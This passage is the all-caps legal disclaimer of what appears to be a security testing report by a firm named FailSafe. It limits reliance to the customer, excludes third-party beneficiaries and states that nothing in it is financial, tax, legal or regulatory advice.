ALL THIRD-PARTY MATERIALS ARE PROVIDED "AS IS" AND ANY REPRESENTATION OR WARRANTY OF OR CONCERNING ANY THIRD-PARTY MATERIALS IS STRICTLY BETWEEN CUSTOMER AND THE THIRD-PARTY OWNER OR DISTRIBUTOR OF THE THIRD-PARTY MATERIALS.

THE SERVICES, TESTING REPORT, AND ANY OTHER MATERIALS HEREUNDER ARE SOLELY PROVIDED TO CUSTOMER AND MAY NOT BE RELIED ON BY ANY OTHER PERSON OR FOR ANY PURPOSE NOT SPECIFICALLY IDENTIFIED IN THIS AGREEMENT, NOR MAY COPIES BE DELIVERED TO ANY OTHER PERSON WITHOUT FAILSAFE'S PRIOR WRITTEN CONSENT IN EACH INSTANCE.

NO THIRD PARTY OR ANYONE ACTING ON BEHALF OF ANY THEREOF, SHALL BE A THIRD PARTY OR OTHER BENEFICIARY OF SUCH SERVICES, TESTING REPORT, AND ANY ACCOMPANYING MATERIALS AND NO SUCH THIRD PARTY SHALL HAVE ANY RIGHTS OF CONTRIBUTION AGAINST FAILSAFE WITH RESPECT TO SUCH SERVICES, TESTING REPORT, AND ANY ACCOMPANYING MATERIALS.

THE REPRESENTATIONS AND WARRANTIES OF FAILSAFE CONTAINED IN THIS AGREEMENT ARE SOLELY FOR THE BENEFIT OF CUSTOMER. ACCORDINGLY, NO THIRD PARTY OR ANYONE ACTING ON BEHALF

OF ANY THEREOF, SHALL BE A THIRD PARTY OR OTHER BENEFICIARY OF SUCH REPRESENTATIONS AND WARRANTIES AND NO SUCH THIRD PARTY SHALL HAVE ANY RIGHTS OF CONTRIBUTION AGAINST FAILSAFE WITH RESPECT TO SUCH REPRESENTATIONS OR WARRANTIES OR ANY MATTER SUBJECT TO OR RESULTING IN INDEMNIFICATION UNDER THIS AGREEMENT OR OTHERWISE.

FOR AVOIDANCE OF DOUBT, THE SERVICES, INCLUDING ANY ASSOCIATED TESTING REPORTS OR MATERIALS, SHALL NOT BE CONSIDERED OR RELIED UPON AS ANY FORM OF FINANCIAL, TAX, LEGAL, REGULATORY, OR OTHER ADVICE.